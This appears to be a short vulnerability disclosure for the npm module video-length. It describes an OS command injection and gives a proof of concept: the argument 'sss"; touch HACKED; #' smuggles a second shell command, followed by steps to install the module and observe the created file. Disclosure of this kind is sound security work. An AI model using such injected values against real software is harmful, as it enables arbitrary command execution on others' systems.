The video-length module is vulnerable against RCE since a command is crafted using user inputs not validated and then executed, leading to arbitrary command injection


  1. Create the following PoC file:
// poc.js
const VideoLength = require('video-length');
VideoLength('sss"; touch HACKED; #');

  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i video-length # Install affected module
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created
